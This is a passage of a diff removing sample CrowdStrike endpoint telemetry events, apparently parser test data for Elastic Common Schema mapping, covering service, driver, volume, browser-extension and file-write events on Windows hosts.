-                "original": "{\"event_simpleName\":\"MotwWritten\",\"ConfigStateHash\":\"0222222222\",\"ContextProcessId\":\"1111111111\",\"aip\":\"89.160.20.128\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"HostUrl\":\"\",\"Entitlements\":\"15\",\"name\":\"MotwWrittenV2\",\"EventOrigin\":\"1\",\"ReferrerUrl\":\"\",\"id\":\"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"timestamp\":\"1755541882619\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\Device\\\\Local\\\\Default\\\\Files\\\\asdf-ghkl\"}"
-            },
-            "file": {
-                "directory": "\\Device\\Local\\Default\\Files",
-                "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1",
-                "name": "asdf-ghkl",
-                "path": "\\Device\\Local\\Default\\Files\\asdf-ghkl",
-                "type": "file"
-            },
-            "host": {
-                "id": "bae5bafaeb93295d398bf55b8ba1cf01",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "MotwWritten",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01",
-                "version": "1007.3.0019907.15"
-            },
-            "process": {
-                "entity_id": "1111111111"
-            },
-            "related": {
-                "hash": [
-                    "0222222222"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-09-19T17:46:20.922Z",
-            "crowdstrike": {
-                "BatchDataNumber": "2",
-                "BatchDataTotal": "3",
-                "BatchTimestamp": "2025-09-19T17:46:24.040Z",
-                "ConfigStateHash": "3667246164",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "MountedVolumeAction": "0",
-                "VolumeDeviceCharacteristics": "131072",
-                "VolumeDeviceObjectFlags": "134479872",
-                "VolumeDeviceType": "8",
-                "VolumeDriveLetter": "\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}",
-                "VolumeEncryptionStatus": "0",
-                "VolumeFileSystemDevice": "\\Ntfs",
-                "VolumeFileSystemDriver": "\\FileSystem\\Ntfs",
-                "VolumeFileSystemType": "2",
-                "VolumeIsEncrypted": "0",
-                "VolumeMountPoint": "\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}",
-                "VolumeName": "\\Device\\HarddiskVolume4",
-                "VolumeRealDeviceName": "\\Device\\HarddiskVolume4",
-                "VolumeSectorSize": "512",
-                "VolumeSessionUUID": "BA6553C6-EA71-4F58-ADF2-EB7C71401657",
-                "id": "4a10cafe-7a95-4659-80c0-9b670b2308c1",
-                "name": "MountedVolumeV1"
-            },
-            "device": {
-                "id": "bae5bafaeb93295d398bf55b8ba1cf01"
-            },
-            "event": {
-                "action": "MountedVolume",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-09-19T17:46:20.922Z",
-                "id": "4a10cafe-7a95-4659-80c0-9b670b2308c1|bae5bafaeb93295d398bf55b8ba1cf01|",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"MountedVolume\",\"BatchDataTotal\":\"3\",\"VolumeSessionUUID\":\"BA6553C6-EA71-4F58-ADF2-EB7C71401657\",\"BatchTimestamp\":\"1758303984.040\",\"BatchDataNumber\":\"2\",\"VolumeMountPoint\":\"\\\\??\\\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}\",\"VolumeDriveLetter\":\"\\\\\\\\?\\\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"134479872\",\"VolumeFileSystemDevice\":\"\\\\Ntfs\",\"VolumeIsEncrypted\":\"0\",\"VolumeFileSystemDriver\":\"\\\\FileSystem\\\\Ntfs\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_15AD\\u0026DEV_07F0\\u0026SUBSYS_07F015AD\\u0026REV_00\\\\4\\u00263b50545d\\u00260\\u002600B8\",\"VolumeDeviceCharacteristics\":\"131072\",\"id\":\"4a10cafe-7a95-4659-80c0-9b670b2308c1\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1758303980922\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeSectorSize\":\"512\",\"ConfigStateHash\":\"3667246164\",\"MountedVolumeAction\":\"0\",\"VolumeRealDeviceName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeLabel\":\"\",\"ConfigBuild\":\"1007.3.0019907.15\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"2\",\"Entitlements\":\"15\",\"name\":\"MountedVolumeV1\",\"VirtualDriveFileName\":\"\",\"ComputerName\":\"ETW\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "device": "PCI\\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\\4&3b50545d&0&00B8"
-            },
-            "host": {
-                "hostname": "ETW",
-                "id": "bae5bafaeb93295d398bf55b8ba1cf01",
-                "name": "ETW",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "MountedVolume",
-            "observer": {
-                "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01",
-                "version": "1007.3.0019907.15"
-            },
-            "related": {
-                "hash": [
-                    "3667246164"
-                ],
-                "hosts": [
-                    "ETW"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-09-15T06:14:48.316Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3164437859",
-                "ContextProcessId": "107384762651",
-                "ContextProcessTagsAsString": [
-                    "179",
-                    "417",
-                    "113292"
-                ],
-                "DesiredAccess": "2097151",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "GrandparentProcessId": "107378835181",
-                "HandleOperationType": "1",
-                "ParentCommandLine": "wininit.exe",
-                "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe",
-                "ParentProcessPatternIdList": [
-                    "7201",
-                    "7410",
-                    "7426"
-                ],
-                "PatternId": "10517",
-                "PatternIdList": [
-                    "7053",
-                    "7090",
-                    "7119"
-                ],
-                "TargetProcessCommandLine": "\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\"",
-                "TargetProcessImageFileName": "\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe",
-                "TemplateDisposition": "10",
-                "TemplateInstanceId": "20587",
-                "id": "da53cef8-72b1-4ca8-af19-2ae8f9c30fbf",
-                "name": "FalconProcessHandleOpDetectInfoV1"
-            },
-            "device": {
-                "id": "cdbfd7c3bab5478d935db9969b5886cc"
-            },
-            "event": {
-                "action": "FalconProcessHandleOpDetectInfo",
-                "category": [
-                    "malware",
-                    "process"
-                ],
-                "created": "2025-09-15T06:14:48.316Z",
-                "id": "da53cef8-72b1-4ca8-af19-2ae8f9c30fbf|cdbfd7c3bab5478d935db9969b5886cc|",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"FalconProcessHandleOpDetectInfo\",\"GrandparentProcessId\":\"107378835181\",\"GrandparentProcessPatternIdList\":\"\",\"ParentProcessId\":\"107382228681\",\"TemplateInstanceId\":\"20587\",\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\wininit.exe\",\"HandleOperationType\":\"1\",\"event_platform\":\"Win\",\"PatternId\":\"10517\",\"EventOrigin\":\"1\",\"id\":\"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf\",\"ParentCommandLine\":\"wininit.exe\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757916888316\",\"ConfigStateHash\":\"3164437859\",\"TemplateDisposition\":\"10\",\"ContextProcessId\":\"107384762651\",\"TargetProcessImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Program Files\\\\CrowdStrike\\\\CSFalconService.exe\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"ParentProcessPatternIdList\":\"7201,7410,7426\",\"TargetProcessId\":\"107445999828\",\"DesiredAccess\":\"2097151\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\services.exe\",\"Entitlements\":\"15\",\"name\":\"FalconProcessHandleOpDetectInfoV1\",\"ComputerName\":\"win10-qwe-3\",\"ContextProcessTagsAsString\":\"179,417,113292\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"PatternIdList\":\"7053,7090,7119\",\"TargetProcessCommandLine\":\"\\\"C:\\\\Program Files\\\\CrowdStrike\\\\CSFalconService.exe\\\"\"}",
-                "type": [
-                    "info",
-                    "access"
-                ]
-            },
-            "host": {
-                "hostname": "win10-qwe-3",
-                "id": "cdbfd7c3bab5478d935db9969b5886cc",
-                "name": "win10-qwe-3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FalconProcessHandleOpDetectInfo",
-            "observer": {
-                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
-                "version": "1007.3.0019907.15"
-            },
-            "process": {
-                "args": [
-                    "C:\\Windows\\system32\\services.exe"
-                ],
-                "args_count": 1,
-                "command_line": "C:\\Windows\\system32\\services.exe",
-                "entity_id": "107445999828",
-                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe",
-                "name": "services.exe",
-                "parent": {
-                    "entity_id": "107382228681"
-                }
-            },
-            "related": {
-                "hash": [
-                    "3164437859"
-                ],
-                "hosts": [
-                    "win10-qwe-3"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-10-30T08:53:42.802Z",
-            "crowdstrike": {
-                "ClientProcessStartKey": "7599824371187858",
-                "ConfigStateHash": "1611923365",
-                "ContextTimeStamp": "2025-10-30T08:53:39.055Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EtwRawRpcClientProcessId": "5940",
-                "EventOrigin": "1",
-                "IsHosted": "0",
-                "SourceProcessId": "111822186970",
-                "id": "e9e1ae71-7b21-4260-9891-f1dd497a7ea9",
-                "name": "ServiceStoppedV2"
-            },
-            "device": {
-                "id": "cdbfd7c3bab5478d935db9969b5886cc"
-            },
-            "event": {
-                "action": "ServiceStopped",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-10-30T08:53:42.802Z",
-                "id": "e9e1ae71-7b21-4260-9891-f1dd497a7ea9|cdbfd7c3bab5478d935db9969b5886cc|",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"ServiceStopped\",\"SourceProcessId\":\"111822186970\",\"EtwRawRpcClientProcessId\":\"5940\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"e9e1ae71-7b21-4260-9891-f1dd497a7ea9\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1761814422802\",\"IsHosted\":\"0\",\"ContextTimeStamp\":\"1761814419.055\",\"ConfigStateHash\":\"1611923365\",\"EtwRawProcessId\":\"5940\",\"ServiceDisplayName\":\"wuauserv\",\"ConfigBuild\":\"1007.3.0020008.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\svchost.exe -k netsvcs -p -s wuauserv\",\"TargetProcessId\":\"111822186970\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\svchost.exe\",\"Entitlements\":\"15\",\"name\":\"ServiceStoppedV2\",\"ClientProcessStartKey\":\"7599824371187858\",\"ComputerName\":\"win10-qwe-3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "hostname": "win10-qwe-3",
-                "id": "cdbfd7c3bab5478d935db9969b5886cc",
-                "name": "win10-qwe-3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ServiceStopped",
-            "observer": {
-                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
-                "version": "1007.3.0020008.15"
-            },
-            "process": {
-                "args": [
-                    "C:\\Windows\\system32\\svchost.exe",
-                    "-k",
-                    "netsvcs",
-                    "-p",
-                    "-s",
-                    "wuauserv"
-                ],
-                "args_count": 6,
-                "command_line": "C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv",
-                "entity_id": "111822186970",
-                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe",
-                "name": "svchost.exe",
-                "pid": 5940,
-                "title": "wuauserv"
-            },
-            "related": {
-                "hash": [
-                    "1611923365"
-                ],
-                "hosts": [
-                    "win10-qwe-3"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-10-30T08:07:40.596Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1146505100",
-                "ContextProcessId": "111669260464",
-                "ContextTimeStamp": "2025-10-30T08:07:37.917Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "17",
-                "ImageBaseName": "WdNisDrv.sys",
-                "RpcClientProcessId": "111754267474",
-                "RpcClientThreadId": "1985175578964",
-                "id": "664425be-9ed3-4b41-8790-5bd12a9889e8",
-                "name": "KernelServiceStartedV3"
-            },
-            "device": {
-                "id": "cdbfd7c3bab5478d935db9969b5886cc"
-            },
-            "event": {
-                "action": "KernelServiceStarted",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-10-30T08:07:40.596Z",
-                "id": "664425be-9ed3-4b41-8790-5bd12a9889e8|cdbfd7c3bab5478d935db9969b5886cc|",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"KernelServiceStarted\",\"ContextTimeStamp\":\"1761811657.917\",\"ConfigStateHash\":\"1146505100\",\"ContextProcessId\":\"111669260464\",\"ContextThreadId\":\"1984294987428\",\"RpcClientThreadId\":\"1985175578964\",\"ServiceDisplayName\":\"@C:\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\MpAsDesc.dll,-370\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\Drivers\\\\WdNisDrv.sys\",\"Entitlements\":\"15\",\"name\":\"KernelServiceStartedV3\",\"ImageBaseName\":\"WdNisDrv.sys\",\"EventOrigin\":\"17\",\"ComputerName\":\"raquel-win10-3\",\"RpcClientProcessId\":\"111754267474\",\"id\":\"664425be-9ed3-4b41-8790-5bd12a9889e8\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1761811660596\"}",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "hostname": "raquel-win10-3",
-                "id": "cdbfd7c3bab5478d935db9969b5886cc",
-                "name": "raquel-win10-3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "KernelServiceStarted",
-            "observer": {
-                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
-                "version": "1007.3.0019907.15"
-            },
-            "process": {
-                "entity_id": "111669260464",
-                "executable": "\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys",
-                "name": "WdNisDrv.sys",
-                "thread": {
-                    "id": 1984294987428
-                },
-                "title": "@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370"
-            },
-            "related": {
-                "hash": [
-                    "1146505100"
-                ],
-                "hosts": [
-                    "raquel-win10-3"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-09-14T03:23:29.811Z",
-            "crowdstrike": {
-                "BatchDataNumber": "1",
-                "BatchDataTotal": "2",
-                "BatchTimestamp": "2025-09-14T03:23:29.223Z",
-                "BrowserExtensionId": "jmjflgjpcpepeafmmgdpfkogkghcpiha",
-                "BrowserExtensionInstallMethod": "BROWSER",
-                "BrowserExtensionStatusEnabled": "1",
-                "BrowserFileHash": "ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b",
-                "BrowserFilePath": "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
-                "BrowserName": "4",
-                "BrowserProfileId": "Default",
-                "BrowserProfileName": "Profile 1",
-                "BrowserVersion": "138.0.3351.83",
-                "ConfigStateHash": "3164437859",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "EventOrigin": "17",
-                "UpdateFlag": "1",
-                "id": "0eaf2b81-3888-446f-99ba-e38ff8249b25",
-                "name": "InstalledBrowserExtensionV2"
-            },
-            "device": {
-                "id": "cdbfd7c3bab5478d935db9969b5886cc"
-            },
-            "event": {
-                "action": "InstalledBrowserExtension",
-                "category": [
-                    "package"
-                ],
-                "created": "2025-09-14T03:23:29.811Z",
-                "id": "0eaf2b81-3888-446f-99ba-e38ff8249b25|cdbfd7c3bab5478d935db9969b5886cc|",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"InstalledBrowserExtension\",\"BrowserName\":\"4\",\"BrowserFilePath\":\"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\",\"BatchDataTotal\":\"2\",\"BrowserProfileName\":\"Profile 1\",\"BatchTimestamp\":\"1757820209.223\",\"BrowserExtensionVersion\":\"1.2.1\",\"BrowserExtensionInstalledTimestamp\":\"1748442656.300\",\"BatchDataNumber\":\"1\",\"UserSid\":\"S-1-5-21-2765107603-xxxx-500\",\"event_platform\":\"Win\",\"UpdateFlag\":\"1\",\"BrowserProfileId\":\"Default\",\"EventOrigin\":\"17\",\"id\":\"0eaf2b81-3888-446f-99ba-e38ff8249b25\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1757820209811\",\"BrowserExtensionArchitecture\":\"3\",\"UserName\":\"win10_user3\",\"ConfigStateHash\":\"3164437859\",\"BrowserExtensionPath\":\"C:\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Edge\\\\User Data\\\\Default\\\\Extensions\\\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\\\1.2.1_0\",\"BrowserExtensionId\":\"jmjflgjpcpepeafmmgdpfkogkghcpiha\",\"ConfigBuild\":\"1007.3.0019907.15\",\"BrowserExtensionName\":\"Edge relevant text changes\",\"BrowserExtensionStatusEnabled\":\"1\",\"BrowserFileHash\":\"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b\",\"Entitlements\":\"15\",\"name\":\"InstalledBrowserExtensionV2\",\"ComputerName\":\"win10-qwe-3\",\"BrowserExtensionInstallMethod\":\"1\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"BrowserVersion\":\"138.0.3351.83\"}",
-                "type": [
-                    "installation"
-                ]
-            },
-            "host": {
-                "hostname": "win10-qwe-3",
-                "id": "cdbfd7c3bab5478d935db9969b5886cc",
-                "name": "win10-qwe-3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "InstalledBrowserExtension",
-            "observer": {
-                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
-                "version": "1007.3.0019907.15"
-            },
-            "package": {
-                "architecture": "SAFARI_APP",
-                "installed": "2025-05-28T14:30:56.300Z",
-                "name": "Edge relevant text changes",
-                "path": "C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0",
-                "version": "1.2.1"
-            },
-            "related": {
-                "hash": [
-                    "3164437859"
-                ],
-                "hosts": [
-                    "win10-qwe-3"
-                ],
-                "user": [
-                    "win10_user3",
-                    "S-1-5-21-2765107603-xxxx-500"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-1-5-21-2765107603-xxxx-500",
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2025-09-12T03:41:58.836Z",
-            "crowdstrike": {
-                "AntiTamperStateFlag": "9",
-                "ConfigStateHash": "1442922594",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "EventOrigin": "17",
-                "id": "8bee55a5-f768-48b9-ab4c-614a1283a58a",
-                "name": "SensorAntiTamperStateV1"
-            },
-            "device": {
-                "id": "cdbfd7c3bab5478d935db9969b5886cc"
-            },
-            "event": {
-                "action": "SensorAntiTamperState",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-09-12T03:41:58.836Z",
-                "id": "8bee55a5-f768-48b9-ab4c-614a1283a58a|cdbfd7c3bab5478d935db9969b5886cc|",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"SensorAntiTamperState\",\"ConfigStateHash\":\"1442922594\",\"ConfigBuild\":\"1007.3.0019907.15\",\"AntiTamperStateFlag\":\"9\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SensorAntiTamperStateV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"8bee55a5-f768-48b9-ab4c-614a1283a58a\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757648518836\"}",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "hostname": "win10-qwe-3",
-                "id": "cdbfd7c3bab5478d935db9969b5886cc",
-                "name": "win10-qwe-3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SensorAntiTamperState",
-            "observer": {
-                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
-                "version": "1007.3.0019907.15"
-            },
-            "related": {
-                "hash": [
-                    "1442922594"
-                ],
-                "hosts": [
-                    "win10-qwe-3"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-09-12T03:41:58.836Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1442922594",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "EventOrigin": "17",
-                "Flags": "0",
-                "RTRState": "1",
-                "id": "c188e104-d940-46af-aed8-acf5086fc187",
-                "name": "SensorSettingsUpdateV1"
-            },
-            "device": {
-                "id": "cdbfd7c3bab5478d935db9969b5886cc"
-            },
-            "event": {
-                "action": "SensorSettingsUpdate",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-09-12T03:41:58.836Z",
-                "id": "c188e104-d940-46af-aed8-acf5086fc187|cdbfd7c3bab5478d935db9969b5886cc|",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"SensorSettingsUpdate\",\"RTRState\":\"1\",\"ConfigStateHash\":\"1442922594\",\"Flags\":\"0\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SensorSettingsUpdateV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"c188e104-d940-46af-aed8-acf5086fc187\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757648518836\"}",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "hostname": "win10-qwe-3",
-                "id": "cdbfd7c3bab5478d935db9969b5886cc",
-                "name": "win10-qwe-3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SensorSettingsUpdate",
-            "observer": {
-                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
-                "version": "1007.3.0019907.15"
-            },
-            "related": {
-                "hash": [
-                    "1442922594"
-                ],
-                "hosts": [
-                    "win10-qwe-3"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-09-14T03:13:30.498Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1694325680",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "ErrorCode": "0",
-                "EventOrigin": "17",
-                "ServiceCurrentState": "4",
-                "id": "37ddccdf-594d-4224-97de-e784822466f4",
-                "name": "ServicesStatusInfoV1"
-            },
-            "device": {
-                "id": "cdbfd7c3bab5478d935db9969b5886cc"
-            },
-            "event": {
-                "action": "ServicesStatusInfo",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-09-14T03:13:30.498Z",
-                "id": "37ddccdf-594d-4224-97de-e784822466f4|cdbfd7c3bab5478d935db9969b5886cc|",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"ServicesStatusInfo\",\"ConfigStateHash\":\"1694325680\",\"ServiceDisplayName\":\"spooler\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"ServicesStatusInfoV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"37ddccdf-594d-4224-97de-e784822466f4\",\"ErrorCode\":\"0\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757819610498\",\"ServiceCurrentState\":\"4\"}",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "hostname": "win10-qwe-3",
-                "id": "cdbfd7c3bab5478d935db9969b5886cc",
-                "name": "win10-qwe-3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ServicesStatusInfo",
-            "observer": {
-                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
-                "version": "1007.3.0019907.15"
-            },
-            "process": {
-                "title": "spooler"
-            },
-            "related": {
-                "hash": [
-                    "1694325680"
-                ],
-                "hosts": [
-                    "win10-qwe-3"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-10-30T08:12:33.235Z",
-            "crowdstrike": {
-                "Attacks": [
-                    {
-                        "Tactic": "Defense Evasion",
-                        "Technique": "Obfuscated Files or Information"
-                    }
-                ],
-                "AuthenticationId": "999",
-                "BoundingLimitCount": 5,
-                "BoundingLimitDuration": "3600000",
-                "ConfigStateHash": "1146505100",
-                "ContextProcessId": "111845303038",
-                "ContextTimeStamp": "2025-10-30T08:12:32.620Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "FileEcpBitmask": "0",
-                "ShannonEntropy": "932",
-                "id": "fc10d190-e98f-45fc-bb2a-ca60d3534a2a",
-                "name": "FileWrittenWithEntropyHighV2"
-            },
-            "device": {
-                "id": "bae5bafaeb93295d398bf55b8ba1cf01"
-            },
-            "event": {
-                "action": "FileWrittenWithEntropyHigh",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-10-30T08:12:33.235Z",
-                "id": "fc10d190-e98f-45fc-bb2a-ca60d3534a2a|bae5bafaeb93295d398bf55b8ba1cf01|",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"FileWrittenWithEntropyHigh\",\"Size\":\"12216\",\"ShannonEntropy\":\"932\",\"BoundingLimitCount\":\"5\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"fc10d190-e98f-45fc-bb2a-ca60d3534a2a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1761811953235\",\"ContextTimeStamp\":\"1761811952.620\",\"ConfigStateHash\":\"1146505100\",\"ContextProcessId\":\"111845303038\",\"AuthenticationId\":\"999\",\"ConfigBuild\":\"1007.3.0019907.15\",\"FileEcpBitmask\":\"0\",\"BoundingLimitDuration\":\"3600000\",\"Entitlements\":\"15\",\"name\":\"FileWrittenWithEntropyHighV2\",\"ComputerName\":\"win10-qwe-3\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Obfuscated Files or Information\"}],\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\Temp\\\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume4\\Windows\\Temp",
-                "extension": "tmp",
-                "name": "APPX.fb9inon0wlj06bji0gujvuvcd.tmp",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp",
-                "size": 12216,
-                "type": "file"
-            },
-            "host": {
-                "hostname": "win10-qwe-3",
-                "id": "bae5bafaeb93295d398bf55b8ba1cf01",
-                "name": "win10-qwe-3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FileWrittenWithEntropyHigh",
-            "observer": {
-                "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01",
-                "version": "1007.3.0019907.15"
-            },
-            "process": {
-                "entity_id": "111845303038"
-            },
-            "related": {
-                "hash": [
-                    "1146505100"
-                ],
-                "hosts": [
